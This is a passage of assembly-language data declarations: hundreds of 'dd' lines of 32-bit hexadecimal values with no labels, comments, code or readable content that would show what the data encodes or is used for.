dd 81B8570Fh, 0C03F837Fh, 29FC87Fh, 0A1F2AF37h, 6C5D30B0h
dd 484BD30Bh, 138EB482h, 0A76115Eh, 0FE4F6187h, 24E93200h
dd 8AE714CEh, 297D5241h, 1E902A57h, 4F4A1696h, 6AD2654Bh
dd 876915E9h, 4F7A47B4h, 938A56FAh, 6CA7E573h, 0D0AFAFBDh
dd 0CA59DF18h, 0CA0BCA63h, 0E55DE54Eh, 55CC5034h, 55077F5Ch
dd 0C9020754h, 7B8E06CDh, 9C127D4Ch, 0D7D4978h, 6D5FB563h
dd 0B46B85ADh, 854DA716h, 0DDAEFF76h, 0BBD337AEh, 0A31E86EBh
dd 0D6EFD3F7h, 0E71DE133h, 358CABE8h, 0C6B3EAB8h, 19BAF369h
dd 0CD5B0564h, 5BC5972Dh, 644B159Ah, 751FA7B4h, 7A57490Eh
dd 1E9C3D00h, 4F43DF4Dh, 13C167A5h, 0EFDD83D4h, 802F2D08h
dd 39907FB5h, 77B104C5h, 858043B0h, 606BB2A7h, 0EFB1B7C3h
dd 0D3D827B1h, 75ECB7ECh, 0F4E836F6h, 9ED5808h, 701FD3B0h
dd 0B867709Fh, 5C1FDC0Bh, 3BE9D803h, 0A0E30F21h, 0E7F36FD3h
dd 5F42DDF9h, 51D4ADB1h, 5C0E011Ah, 53CAC692h, 0CBAFD5E1h
dd 45474A81h, 0F417A53h, 28AF2BC7h, 354494A7h, 58785715h
dd 6906AA3Dh, 5A1DDAC1h, 0D6CF2D7Bh, 65ED32C3h, 27ED03EDh
dd 0A3AF402Dh, 0E95BD137h, 9F483EBCh, 5DB6B88h, 1F4EFCADh
dd 0D8C48C6Ch, 16CC04BEh, 0FB36B66Ch, 369DB101h, 0D656807Fh
dd 3AE13AB5h, 81C758F7h, 0E3B57FB0h, 9798CF05h, 0A16EE102h
dd 7BFA23Fh, 8CF6912h, 0B331E4Ch, 0E075F6E8h, 60F02381h
dd 0EDF63157h, 5FF0EED9h, 165C88F1h, 9DD95BB2h, 7DF641ECh
dd 0AE3F2BF8h, 6B9AD73Eh, 5E0375C7h, 48520689h, 0A37086E6h
dd 0D1A06CB9h, 878CD089h, 62DC05B8h, 95B7196Eh, 0E01DCDDBh
dd 0E37EE7DEh, 0AE03425Ah, 910A77F3h, 84078890h, 0D053C205h
dd 0E7C263F1h, 0AC4A72D0h, 3A91D62Fh, 38A4DD49h, 1834A069h
dd 2A5F2198h, 0B34AA691h, 55D1FF6Dh, 0C041E5A6h, 3E00B0Ch
dd 0E529927Eh, 4C524576h, 0C32B7A5h, 0FD59D0D2h, 0F6A6BD4Dh
dd 0C99BFB36h, 6699D9B0h, 3ACE3011h, 0D3B9B373h, 0D2D10F7Ch
dd 65F75C19h, 0A3A22EB3h, 0BA6C88D6h, 6519B623h, 366B24Dh
dd 0AD653EAFh, 0CEB3DEB4h, 86FC2102h, 0CA8FC778h, 61467723h
dd 0BEC23BDDh, 0E9B3A20Fh, 0D7DB60E7h, 0A61FFFC1h, 0FE2F814Fh
dd 0DA6234Ch, 0FE3619D3h, 0B30E662Eh, 7CC3598Ch, 50CCFCCEh
dd 0B34B086Ch, 3B3E6C19h, 9D8FBD91h, 2DF37B63h, 0C24E7736h
dd 2C7187DEh, 5C5170A7h, 0C18B581Fh, 0F2B05DDCh, 0E107B8D3h
dd 0BEE25FC5h, 0C6FC4485h, 20CDF105h, 45A1BD11h, 61B3F1F7h
dd 6223E7F1h, 0C8BFCE59h, 0F277E7AFh, 0C01FF2EFh, 7D42535Fh
dd 0ED0B1A1h, 5024F43Ah, 75E106D6h, 4BE103E1h, 0ABF082E1h
dd 20EC52D0h, 0A31FB0AAh, 0FCD81CC5h, 0C5FBC57Bh, 0C517C4C7h
dd 0EFC6F04Dh, 0FF8BEF88h, 2F13BF10h, 30A54D88h, 0C0329789h
dd 0C3C047C9h, 0D2BBD275h, 0E953E951h, 0ED82E96Bh, 7E831F81h
dd 945F952Dh, 0B4B2C1F7h, 42945255h, 5834DC48h, 5D61F7D0h
dd 84A20EAh, 46353957h, 0C9F4834Dh, 0D2D840DAh, 5D3B5A89h
dd 45A0A3D0h, 0F58FF4C3h, 0A348F49Fh, 0DC6D91B7h, 1633CC6Bh
dd 64BC92C2h, 0BBDC06BCh, 6F0A38CFh, 1194D2D0h, 96693CB7h
dd 1F9AEF99h, 2D4DFB82h, 33ECB80Eh, 0AE274BEBh, 86A623F3h
dd 0A72F4A5Ah, 0C24FA1DFh, 742FC13h, 1699F530h, 132AA2F0h
dd 4B0024C9h, 0B0DF013Dh, 2404D99Ah, 0B1631EF5h, 682CD883h
dd 4BEC03D9h, 2DF626ECh, 68BC02F6h, 97246E1Dh, 0E1AE6E07h
dd 1EF71B6h, 8F0AFD09h, 0F81781D1h, 3F107E18h, 3F997F9Ah
dd 33F42B0Ah, 72FE1ADFh, 184830A0h, 0CA172C2Fh, 0DAE00385h
dd 6C15A165h, 1B311F4Fh, 7121F538h, 0F882F891h, 804B701Eh
dd 0EEA46D4h, 4FC1E53Eh, 0CDC4834Eh, 4B481693h, 2BC055A4h
dd 446372FEh, 6E640A18h, 7BB6A238h, 0A5C0F995h, 0CA939407h
dd 6035CA57h, 4B6A268Dh, 193A97B5h, 0F55EE491h, 7AD55573h
dd 1AF83223h, 0B49793Ah, 557583D2h, 0D5EFD62Fh, 8A578077h
dd 0CE78CBD1h, 0D5F8DCF8h, 988663A8h, 54DE4DCDh, 0CDB94711h
dd 0E623E6B9h, 0F325F342h, 6FF02200h, 0CD119FCDh, 5BDAB1B7h
dd 8ADD2C5Dh, 603E9487h, 0DC4F12Dh, 1928FCD3h, 0E7421AFCh
dd 39E8D3D0h, 0BF4D3F4h, 15FA1AF4h, 887D2B7Ah, 23E81DFEh
dd 0CCAE988h, 0F9334667h, 32374888h, 903D995Bh, 26981FCCh
dd 0B196C9ACh, 0D90FD9BBh, 5C0ED8AFh, 47C8A07Fh, 1DB8A7B8h
dd 0A51E051Ch, 42F9C3F2h, 0A1D821FEh, 80EFF88Fh, 5500BA2Bh
dd 0A66128Ch, 5F8BA1BBh, 7509BF0Bh, 5C6266C4h, 0A5BCA05h
dd 6C427F2Ch, 334A452Eh, 5D526DA5h, 693E0A39h, 581E7CA1h
dd 0EE94C21h, 3297755Bh, 0B6781E06h, 0ACD94AB2h, 830E576Ch
dd 94285F3Bh, 0A21A9B7Ah, 99148536h, 117568EAh, 2AABF3F8h
dd 22B53D68h, 56B6B26Dh, 0ACFDAADBh, 2F16C385h, 1BD1DFD4h
dd 89E0C31Ah, 236F1976h, 7100FDDAh, 25C60FD3h, 0CC4DBD44h
dd 0C668A6AEh, 52CCC39Bh, 9CF99673h, 15B9B2F9h, 0E607F9B1h
dd 0BF9D4449h, 6882E8D9h, 5A4568B3h, 39D1A003h, 6E9ADB96h
dd 2FFA03CDh, 36FA1443h, 0C23BED24h, 0F67EF9B7h, 81FCDF1Bh
dd 0B1033BF8h, 0D047A7F5h, 45C1C163h, 0EE7006F4h, 0BA67FA5Bh
dd 0AD0C1316h, 98B8C16Eh, 33114C4Eh, 2CC19985h, 0D9B0BA67h
dd 33BE335Ch, 0EC9E193Fh, 91003E57h, 0ADA14B7Ch, 856059D0h
dd 0E3A5C478h, 0A3C21984h, 6DE112C2h, 844FF0F8h, 4D5AB08Bh
dd 30F130C5h, 7ECA0D22h
dd 3F12C349h, 6D18C6Fh, 2DA14476h, 429D17BAh, 0E8D3A50Fh
dd 0F4FDF431h, 7A62F4C3h, 560ABD19h, 0EE5B23E5h, 994DD12Fh
dd 24468630h, 86F4C511h, 0C33327DCh, 0BDB09198h, 9075990Bh
dd 655640FCh, 88FED923h, 62214618h, 0B5EF6628h, 0D897E6E3h
dd 77D518F5h, 607F2A80h, 0B94DB22Fh, 0BDBCB00Eh, 94A138ECh
dd 0E74DCC9Bh, 419EE71Eh, 310AB094h, 9E7801C2h, 763D11CFh
dd 0E2DE15E6h, 377F0FBh, 0E7E14C89h, 88BF57C0h, 0FF30E088h
dd 40B1D95h, 0D10F50Ah, 0B8710944h, 1B8211BAh, 0B08D72A8h
dd 29DCB111h, 0E2669460h, 0B0CBE2F3h, 47435F25h, 936F137Eh
dd 87EE8182h, 7CD24548h, 59E909E9h, 40AD93D8h, 0A221F2Ah
dd 93372DAFh, 33CD00DBh, 0F249F340h, 2E4D3930h, 0C701C794h
dd 951F92CFh, 6CC2C117h, 213CBE00h, 0A8C4A73Fh, 0BA0521ABh
dd 0AB69CF6h, 0DAC7FA91h, 0FC1CED19h, 4B6855F3h, 0AE94E033h
dd 32EB06BAh, 0D1B7CF4Ch, 59FA5BDAh, 1A21BEBDh, 0F46911BAh
dd 0B31B8637h, 371E6761h, 323E345Eh, 6E864818h, 99A7344Eh
dd 60CB98CFh, 0BB9AB7E9h, 47E683CDh, 8AF379E6h, 0DE5F0FE9h
dd 64808AD9h, 1506840Ch, 695C2222h, 4824411Dh, 0EF23F7ADh
dd 0D1EAA0CCh, 0BA30E8CDh, 0D1D22D13h, 0BA749718h, 13DEF110h
dd 7A4412F4h, 0E837E99Bh, 0B68F18CBh, 66374Ch, 0E661E9F4h
dd 9B72C479h, 41CCDD98h, 0A0A023E6h, 305E19Fh, 80435580h
dd 0B1B03B55h, 5B2E6Ch, 7D973ABCh, 7A167D98h, 8DD9AB6h
dd 0FD87B8AFh, 32FF480Ch, 2DC8801Bh, 7B051B85h, 300C0C5Fh
dd 5B9A7B9Dh, 1D7F7B0Dh, 0C629BEF6h, 963F3862h, 822FC09Fh
dd 0BFCEDA95h, 0FFC27FC3h, 0DA13D7C2h, 0AA7D303h, 935F20C3h
dd 1CC26985h, 43B08561h, 0F3B6D6F8h, 22C3D0E1h, 0E2E3E168h
dd 0EBC58C32h, 0F02B8918h, 4FC07793h, 8C6F529Ah, 0A7A068C6h
dd 10E7A527h, 0B528FD59h, 5165C395h, 9D8A044Eh, 88F8D40Ah
dd 0A82224FCh, 0F97EF20Dh, 0B91BF923h, 712AC285h, 0E63C324Ah
dd 38EB6848h, 94E7E5A0h, 0AD8C2032h, 0E47647CAh, 6D5B54h
dd 0ED51D66Bh, 1AAF2A6h, 0DD48BFABh, 0F756EEAAh, 96D487A9h
dd 0B3AD5B5Ah, 5A316926h, 8DAA96A2h, 0B735F2D6h, 1B36AF76h
dd 6210F308h, 35A5381h, 4DDEADBDh, 0A048F5D7h, 5F5878Fh
dd 0EAF6A488h, 464EF4E7h, 4C324377h, 223E1123h, 3C6498CFh
dd 3C613C6Ah, 0CA332C63h, 16C68D8Ch, 0A5F180E3h, 37F0D571h
dd 0CD3BCC83h, 331766F6h, 0DF05ECD2h, 9D31819Dh, 655D518Fh
dd 983736AEh, 9ABF99AFh, 22CB81B5h, 0AA56DEACh, 0E2588055h
dd 0B5A96B41h, 0B2845E1Fh, 0BD423517h, 684081A9h, 1809E863h
dd 9974A5C3h, 84773F3Dh, 0FD7F063Eh, 0DD07FD0Bh, 31696304h
dd 446C4031h, 0AF6CF2B3h, 0F354065Dh, 398FB326h, 0BE619CC4h
dd 0DAD9FC65h, 77FC186Ch, 9108BB3Ch, 546829F8h, 703BAE23h
dd 366E5F4Ch, 9EB722F7h, 7E780D7Bh, 100EF70Fh, 0ADE03FFDh
dd 0F8F572AFh, 0CF387CE6h, 0F9E29B40h, 8C29FE0Ch, 53DB26E0h
dd 0F24FE11Fh, 0B757C07Fh, 0F425C10h, 2BE85A21h, 0BCE7C214h
dd 518ABC20h, 0F385B7Ch, 18A77A8Bh, 11F9C889h, 0E58A171h
dd 8815BD1Fh, 0C7888FFh, 6C517963h, 3A97B52Dh, 4AA4B44Bh
dd 8C44A53Dh, 21E914E7h, 48CF6AC4h, 0BFABE1EBh, 4D73AC44h
dd 1D3186EAh, 845C3406h, 0D1047D51h, 7BF2DBDAh, 0F2ABD118h
dd 1F3A4440h, 7F283F29h, 4D41D28h, 36761935h, 0CEA89D47h
dd 15E1204h, 221EFC1Ch, 9FD5AFDFh, 699A8D80h, 3189169Ah
dd 53DA05Bh, 1DAFDBBDh, 0CED4BED3h, 3A207F6Bh, 0D4B7A068h
dd 35D3E1C3h, 0D34F593Dh, 0B356F0DDh, 17F547F5h, 0C8A350F4h
dd 0AB1ED278h, 0BD68F6D5h, 0B3E0B863h, 5020734Ch, 8166D7D5h
dd 76960735h, 3ACFB5B3h, 7D687D64h, 2405040Eh, 0B22AE509h
dd 0BA335F6Dh, 0B1D34D03h, 4C9D3C74h, 5B0D05DFh, 0E556F04h
dd 0AE81756Fh, 66634CBh, 24CC3932h, 0CC75D958h, 0FC18E661h
dd 65CC77D4h, 0CC1B0EA6h, 0B33B65B6h, 1EE56023h, 9B429765h
dd 7FCBC236h, 105C52CFh, 7385C217h, 0DC59B9E3h, 0EE3BEE22h
dd 0ECFE877h, 8B6218FEh, 429DC286h, 7DF1EC38h, 0F97062C2h
dd 7088E16Dh, 4FCAF602h, 0D90C0DACh, 0BA216C48h, 14D170C4h
dd 8B7789FBh, 0B7E3E013h, 0A7881F88h, 0CBC45FC4h, 0A019AF36h
dd 10A95CCBh, 0FC1272D8h, 4DE96AFCh, 0A4DFB058h, 24B2E0ABh
dd 59CF80C7h, 5EBCB172h, 56D72D3Eh, 0F0E19562h, 8881936Ch
dd 946B2A56h, 95174A7Dh, 7ED5A355h, 3510F4E0h, 0A8871D43h
dd 94F55DEBh, 497AB3FAh, 1D11AFADh, 51FB44F9h, 0D235A8BBh
dd 80BDE85Bh, 0A9F43291h, 0BBFA53FAh, 0E7FA07FAh, 329D79FAh
dd 6206183Ah, 6C625AFh, 0CFA218E3h, 402B8D9Fh, 96CD4DE6h
dd 64AC0326h, 370EBB00h, 7362CCD3h, 0FC2F7982h, 0E3E683DDh
dd 0C08FF4E0h, 60CCD703h, 55AE7F48h, 2D6B3D6Ah, 0B70356B7h
dd 236F819Fh, 0D47E59F3h, 2141A86Ah, 0FF721E3Dh, 35C9FC32h
dd 88C6B378h, 5C803E4Fh, 0D8A36137h, 70247638h, 1E7C0529h
dd 0CF8AE5C9h, 6D81A388h, 10474856h, 3C82B469h, 0C80795F5h
dd 9EE11143h, 5F289791h, 276A7E2Bh, 21335155h, 8BD5E72Fh
dd 503555EAh, 8175A76Bh, 0F6D0EFC6h, 0AB3A216Ah, 0BD6F7A9Bh
dd 2FA79F50h, 0A65FDC42h, 0FFE4446Fh, 30FC7406h, 7A2BEA22h
dd 0AE77FC04h, 0EB188F1h, 0FD03DCFAh, 876E6B5Eh, 1AC3BE35h
dd 0CC033D62h, 0BEF59AF7h, 0A3F05D45h, 75AAC902h, 461E883Ah
dd 3BA14Fh, 18C60C99h, 87D6C9BFh, 0DB857AA7h, 0CF6B1D02h
dd 0F7CEBCB3h, 2F873E7h, 0FC5DE0A0h, 1FD4E87Eh, 0DDC2F3Ch
dd 78447A3Dh, 1B120846h, 68BC88h, 6E8BE5B7h, 9F78A271h
dd 9FC5C78h, 0F023B076h, 25DD22ADh, 10134BA5h, 0FE95EE41h
dd 1D859D21h, 2CBA55FCh, 803726DDh, 39908C35h, 66B5C559h
dd 64F205C8h, 38FCBA79h, 0F952E26Ch, 0E9467B55h, 0F94BF93Dh
dd 4828F422h, 396A0609h, 19781B0Dh, 3B03A89Ch, 0AD6D4CD8h
dd 697443B6h, 0A78861A8h, 8547C0C7h, 38E2B41h, 0FBA6FEF3h
dd 1961AC1Bh, 0F68FE013h, 992517C3h, 607BCCA3h, 4B9B16B5h
dd 70405DCDh, 3881E197h, 18899E78h, 868EDDABh, 7BCF627Ch
dd 0F09753F8h, 8013A057h, 6D107206h, 0D137A6ADh, 0E81FE827h
dd 0DC95E8DFh, 0EE06DCCBh, 53E2CE4Bh, 0E69E1BE0h, 0FC7901F7h
dd 3DBA1880h, 2421ABD0h, 169FCA43h, 8417C10Eh, 0F2B8498Ah
dd 15E89019h, 0FC604EE2h, 62AFE213h, 0E7C2033h, 1A5123B6h
dd 731CB05h, 7F00D83Ch, 4EE5CDCh, 695DBE29h, 385374A3h
dd 0A3E95225h, 475E528Ch, 44001CD4h, 0ACED4ED6h, 4FAE00F6h
dd 0B5D5B354h, 71EAEBEAh, 9B461EB5h, 93697AD5h, 0A3DA69B4h
dd 0A76D16DAh, 0A6BB5476h, 678240A5h, 0DFE89FE8h, 0A68D75EAh
dd 755C7B46h, 18D031A4h, 6E5E4B04h, 59C88C7Ch, 44CD6336h
dd 787E0733h, 1D9D025h, 0CC2208F3h, 0FA41165Ah, 4ACBD5B2h
dd 0C222E6B1h, 42A2C8FAh, 187AA9FDh, 113A28FBh, 5A53F9D6h
dd 7621A665h, 845CC2DEh, 0F6C06DEDh, 6229B206h, 2AA1030Fh
dd 30F70C5Ch, 0CEDB89B7h, 0F1388DBDh, 0EE17EE2Bh, 0F023BE4Eh
dd 28E88EBCh, 8FCA1F81h, 0AD879FE2h, 83F9B7Dh, 0F7857ABCh
dd 2600EE17h, 0B2AC0C1Bh, 38517840h, 0B2F1E88Ch, 0CFCD0010h
dd 0BF133F17h, 6D4B6B17h, 7EE904A5h, 0A54F93E0h, 7F0EB23Ah
dd 0C6E22F78h, 0B03DE5D7h
dd 0B5CB3F9Ah, 0A9DE3B10h, 4AF12844h, 899E221Ah, 9E54CCAh
dd 0F825F7E8h, 1B6AE6BFh, 0BC743BB5h, 96183A9Fh, 4C7D50B4h
dd 0A6DD457Dh, 57EEA1BEh, 50FFA88Fh, 5A3AB5FDh, 0B68FAD0Fh
dd 80EFB46h, 0A21E8EBFh, 0E8BBD6B7h, 0AC5EFC1Ch, 4A6FF7Dh
dd 0BEA4FEFAh, 77ACBF4Ch, 0A012AF05h, 6D99B7E9h, 1BE671CCh
dd 0F0B6E3D0h, 0CA2DF35Dh, 2BCF6FE5h, 0FA38F408h, 0CD0AFA35h
dd 0ABDE701h, 9D9B545Fh, 0A6872EC1h, 390CC12h, 0B728F3CFh
dd 0CFCD7114h, 0CD7C285Ch, 481B3E60h, 0F73D9B74h, 240A2347h
dd 0D849E108h, 0CF85D7BCh, 0F62B684h, 2A9C5531h, 691F81EEh
dd 692F52Fh, 287C6BC0h, 217D267Dh, 905D93D5h, 1BBE457Dh
dd 0F95EEC38h, 0C38CF861h, 9023F4D0h, 304AF3F1h, 920BBCBCh
dd 1C2B8E9Dh, 17554EA7h, 8DA9CFABh, 6D58BF61h, 7B41B6BAh
dd 3D0C9B57h, 0E397AC5Fh, 1923442Ah, 71A27BBEh, 0F180F19Fh
dd 7097A22Eh, 665E80F8h, 2D966209h, 8823AAB8h, 8D5BEA58h
dd 5AC04EACh, 0E350B029h, 821FC081h, 0FD6B5E7Fh, 0C8B45D60h
dd 0E02EC70Bh, 1BC01B5Ah, 5ADA0574h, 3FA2EF44h, 5FD38FA0h
dd 18ED2DD2h, 0D5B0196Fh, 5B840ABh, 21EC83ECh, 0CC1736B6h
dd 7066E10Dh, 0F9B3719Fh, 1FA26072h, 885DBF8h, 0E142F7D8h
dd 0EBA0200Dh, 9EB12D42h, 44E45CD8h, 0A87D5619h, 2E718598h
dd 9BC1A711h, 0DD2F802Eh, 0A9FA4F0Bh, 0A3F885F8h, 6DF88F18h
dd 2A5CB4BAh, 11B6EFB7h, 4C04101Bh, 65665DDAh, 0F72DEE59h
dd 962A2A03h, 0CA6793EFh, 0B275E4CBh, 9180995Bh, 0AD59407Fh
dd 55DE57ACh, 0DCF5011Ah, 0A66885AEh, 0AD3B5436h, 46411A05h
dd 8D8D1B0h, 0DD1A3A33h, 88D19630h, 0FE373F73h, 99B32830h
dd 8F223B79h, 0CB3B5696h, 0C95BFAB4h, 2EEB60D6h, 0EB2AF75Ch
dd 5CDC8B7Bh, 6F3908B8h, 0B9D1C74Bh, 6C5D3E74h, 9063E55Bh
dd 338833F8h, 88869802h, 961DC832h, 98C30C2Eh, 98C324C0h
dd 9984A642h, 841C1E0Fh, 0A3663EC5h, 7B2F8211h, 0A7D8F3B0h
dd 7ECB5D9h, 34F649ECh, 9D7B27FBh, 0E0EEE40Dh, 38DD73DAh
dd 9EB95396h, 0B9221C5Ch, 37065CA1h, 3E0C7B97h, 0FE701971h
dd 0ADD0583Ah, 31DCBBDCh, 0BB6204EEh, 5F9BBC26h, 0F06AFC8h
dd 0F02FE7BFh, 42D6844Dh, 1EBBA218h, 42E82482h, 893E300Ch
dd 0D216EF86h, 91423185h, 2A984130h, 141E16CCh, 3D44871Eh
dd 5AB9C407h, 156C20D8h, 0BE9FC276h, 1C287C2Bh, 4AFD4787h
dd 0C05101F8h, 6D408C65h, 4403408Ch, 0CEC5ED85h, 312C0462h
dd 0C4833341h, 38AC715Ch, 7C587C4Eh, 5C527C4Ch, 957A5882h
dd 8DC46B8h, 0F8BAFB7Fh, 744FB896h, 532C2249h, 5A5E3482h
dd 2D253D24h, 2BD9A205h, 93DE901Dh, 0BF2F418Eh, 80BE9D84h
dd 0D0ABA31h, 0C89B910Dh, 0D641643Dh, 0E4733E30h, 0FE5DB615h
dd 1D0E6E49h, 8DBCABEDh, 111D2198h, 69F50CF6h, 0A1DD4CB5h
dd 51DF51EEh, 0D5D7A8CFh, 56A46D04h, 9A2295A8h, 0A79B4FBCh
dd 2195A63Dh, 75ADDCA6h, 0DE780DD4h, 0EE218801h, 0D64E4E86h
dd 0CB1F4097h, 835F4781h, 7F477ABFh, 3F48FF4Fh, 7FD19FA5h
dd 0EDEBAFD4h, 3064E8Ch, 48D23A7Ch, 854F8487h, 3C6F9F35h
dd 0DCDCAF0Bh, 9AE6656Ch, 0CC0B9A8Fh, 21E5B053h, 6023C588h
dd 95AFAD1h, 0ACC3A040h, 1E288891h, 92F14446h, 7C4481B5h
dd 0AA64FE89h, 0D8816A90h, 1E7E84B2h, 0EE9D7E23h, 9915F18Eh
dd 5BC18831h, 0B02B0CB2h, 0BD9A3B3Ah, 3EC99D8Fh, 0E886BEC5h
dd 6C473E0h, 5CD6B82Dh, 8B314618h, 0DCDCE3CBh, 7CFBE824h
dd 0E38C05EEh, 5869DC67h, 98C04BBDh, 65E79E2Eh, 2087E4DEh
dd 0FA10784Eh, 0C5CF95B0h, 0A8C5ECE8h, 10EE165Ch, 1C413155h
dd 9460988Ch, 174E2C58h, 0CBF781E7h, 0F1C273C1h, 0D707F0D3h
dd 8EA97F44h, 479ED4D4h, 4846928Bh, 0E854D2D9h, 86F097C4h
dd 7509E06Dh, 209CA7B9h, 160B4367h, 1DE44BCAh, 55B4A532h
dd 49412564h, 192B0652h, 0A8F29E4Ah, 56ECAE52h, 1F6621EAh
dd 0AAE7AE00h, 0BE06C10Fh, 0D70F5E0Ch, 25E5C0D2h, 43ED66DAh
dd 57ED0BEDh, 5F5E96ADh, 0D51FA7DFh, 8CB5E84Fh, 0A30F4626h
dd 7CC7399Eh, 3668BCD2h, 8177FD84h, 0A3F43C67h, 8D64958Fh
dd 22ACB2B0h, 0CB35926Bh, 6C5AC47Ah, 0F89F00BDh, 7ACBB5AAh
dd 0D40A3AC7h, 2F22DD78h, 0A0B82421h, 0D102DD09h, 39A5772h
dd 0DF441C6Ah, 4FEC688Dh, 9942629Ah, 6C9DEC86h, 7B077627h
dd 32E21E00h, 105A175Bh, 0DEF3A36Eh, 0B8B37588h, 4DEE031h
dd 0C0D3C0E8h, 9F001FE9h, 0CAFDC57Fh, 2A18F031h, 3F01687Ch
dd 0E8815F9Bh, 0DFF3F6Ah, 1F0AE0F4h, 682742Ch, 0BAC22144h
dd 2AFBB10Bh, 0A6F09B61h, 1DF90710h, 5D89E621h, 0E4338121h
dd 757121EFh, 0ABA55095h, 0BA4620C2h, 0FF03A95Bh, 871F56E8h
dd 0D211FC75h, 8AEB54D6h, 9B5527E8h, 590C3DA0h, 0AE5B427Bh
dd 825DACBDh, 37AFA80Fh, 0E1123A04h, 99F47329h, 9FD7CFAh
dd 0DC4869FDh, 173F447Ah, 32E1480h, 0CD1A05F5h, 0F5920D0Ch
dd 0D66C91BBh, 6D589AB1h, 0D2B68ADh, 0E2336336h, 14171B18h
dd 0D1DB93F9h, 95DD3054h, 66ACCDE9h, 81FC036h, 3F6E66ECh
dd 0DD3C31FFh, 7A2EBE35h, 0CFEEC2AEh, 1AE2DC11h, 0D253F6D8h
dd 79EEB057h, 0E43332C0h, 796AF2F9h, 0FE809C93h, 84EF5636h
dd 5570F5Fh, 8C28F5D8h, 0D36060DDh, 0D44FD48Fh, 85AD1AAEh
dd 0E7B031EAh, 3E5E803Bh, 31D7EC87h, 0AC623042h, 310C6311h
dd 0F0318D32h, 0D2DBF74Fh, 0ADE21CFEh, 0E693CDF7h, 7FEAB097h
dd 6FAAEA22h, 5B9AB635h, 0C8E961ADh, 55B4699Ch, 0ED663D62h
dd 0C8B1BEB4h, 0A0CF29DBh, 47E863BFh, 0A65FEB80h, 22AFD1D7h
dd 3E877AE6h, 16AB788Ch, 0C0698F53h, 93344CF0h, 8B3114C1h
dd 0DF07BBEDh, 699E732h, 0D9239888h, 33A34081h, 60EF2711h
dd 0E0EF657Fh, 9DEFF05Ch, 2BFCBEF9h, 0F39F54B0h, 6100F8E7h
dd 6532C00h, 6164D2ECh, 0C84670AEh, 0E100A712h, 62024A85h
dd 48D201DCh, 0EEF81F29h, 0B4A5693Eh, 5DDB605h, 0A3016E7Bh
dd 3DF66BFh, 22CA7ECh, 0F1147B72h, 0A57532EAh, 1B7D59BAh
dd 0F551CF91h, 0F1AE1A84h, 88B1E7B0h, 9586EF59h, 0D71DA9D8h
dd 0F998C7BEh, 5A75EDEBh, 86D824Fh, 13B4F84h, 0CCB531Ch
dd 0AA993B31h, 310E6719h, 0B67EB4BFh, 65E45B2Eh, 0AF7DBA98h
dd 0CEE882Fh, 0FE8B35DFh, 75C3F689h, 639E620Dh, 0D8FC65DEh
dd 0EE9EB8C6h, 76682F6Ch, 3ECF9B0Eh, 31FD6B02h, 0E78D817Bh
dd 93D1A0D2h, 0CDA1C7B8h, 0DF93606Bh, 0BEE63EE2h, 82D2C441h
dd 4317CAEFh, 37E45F8Fh, 84A7D623h, 0A6CF096h, 0B021C422h
dd 7F8447BEh, 165DD700h, 25B3C11Ah, 0A6B0198Bh, 53F7DB4Fh
dd 3FDAE10Fh, 0C3496B17h, 37A427A5h, 94B093A4h, 0BDB7F414h
dd 2783434Ch, 55E573C8h, 0EEC05BF2h, 25196244h, 0A5662815h
dd 5D7E0C72h, 84753550h, 0F29610BAh, 0E003F565h, 80CD3F3Ah
dd 0D6D72F4Fh, 9910476Ah, 0ABA6025Ch, 0A08F8883h, 4F3D6496h
dd 7D58859Fh, 0DF49BEB5h, 147F240Eh, 0FD6BF176h, 95A3A412h
dd 3588D6D1h, 0DFB511E2h, 0A2F88B05h, 0D378D3B1h, 8FC6A38h
dd 51BBF8CBh, 58826CC7h, 364E6DDDh, 0FFE70267h, 0BA19AF68h
dd 72B18ADDh, 5A371160h, 0EC5FACC7h, 727F3039h, 0B1360C8Bh
dd 5E9BDD07h, 0DF806F45h, 9DFE9F7Fh, 3314C91Eh, 0FBA43CFh
dd 235A2242h, 6D997BC6h, 71E4B887h, 577176Eh, 2F9FD092h
dd 0EBF017E2h, 0B7FC43F8h
dd 0C1C8177Ch, 345F003h, 118F8DC1h, 0CA039DB7h, 6744056Fh
dd 0B34B6E20h, 64C09EFh, 6D205BB6h, 93C1F695h, 27A965Ch
dd 7994CCE5h, 2995B25h, 0B2A4FE8Fh, 0F944F944h, 39099956h
dd 8B7EA138h, 0B01EA658h, 1A2D0F4Dh, 5B5CBE28h, 4FBB7407h
dd 0A8BC1CFBh, 83B7C88Fh, 0D28F43DEh, 0B5831183h, 0AC9BBB35h
dd 0C6D103A9h, 9B460A43h, 4D891063h, 0F39B6731h, 19A027CCh
dd 0E6F5CD2Bh, 77FBA056h, 21A10FCCh, 0E01798DFh, 21A10219h
dd 1ECDA0CDh, 1ADBD75Bh, 32B70D68h, 826B02ACh, 116828Dh
dd 27839507h, 0D6BDADDBh, 5F6CC461h, 2310E758h, 59FC275Fh
dd 0E9DE4FEFh, 1BA1D54Ah, 8EE8ADD2h, 474292E0h, 441E5623h
dd 706E028Fh, 39E953D3h, 0A69E0D88h, 806BD397h, 0B3417711h
dd 7E72208Eh, 9CCAD98Ah, 0AE617E64h, 8B58B530h, 2BA9061Dh
dd 5BD1E81h, 0F8197094h, 81D705A0h, 0E069C2EBh, 0C1902A67h
dd 6E58DC3Dh, 0B712F726h, 5C23B93h, 25F0C1F2h, 4031F26h
dd 759EC63Dh, 0CC5F8C7Ah, 257E52Fh, 7D846C21h, 88FF937Ch
dd 13FF89FFh, 0A000C691h, 52C2D982h, 0BB0BD61h, 783BFA78h
dd 0EE843FFDh, 35A40EA2h, 21C6B115h, 0DA7A9791h, 887E1333h
dd 3CA7A2Dh, 16F221E5h, 88F91DF9h, 293E4C7Ch, 979F2D7Fh
dd 0D497C12Fh, 2D291A55h, 0DBF00E95h, 0D12BA2A2h, 10657F4Ah
dd 328E692Ch, 0F3D946D6h, 52CA8594h, 4EB29565h, 0A9BCAAD9h
dd 0B51CA3BCh, 3CFD167h, 5D6A5379h, 695011B5h, 31023507h
dd 4E354F57h, 470EA81Dh, 8EA79D84h, 0CFABA757h, 1F794622h
dd 0B555E971h, 0C6A7768Eh, 78B53D69h, 0E36B46Dh, 630028FEh
dd 85FE94F8h, 0CD380CDEh, 23A6CC80h, 3C639936h, 64456C61h
dd 0C97185F6h, 0CC14DDB8h, 0BC2F7374h, 0B0696312h, 2A310B60h
dd 0A1AFAD27h, 0F22C97E3h, 3F725B82h, 8CDD2EBFh, 0C1774D6Eh
dd 41B44838h, 0E97DD0C7h, 905AF681h, 3D0C7A0Ch, 0DF409E96h
dd 1FA6CF4Bh, 9FA71FA2h, 0CBC88C2h, 1F4BDE69h, 0A6043FA2h
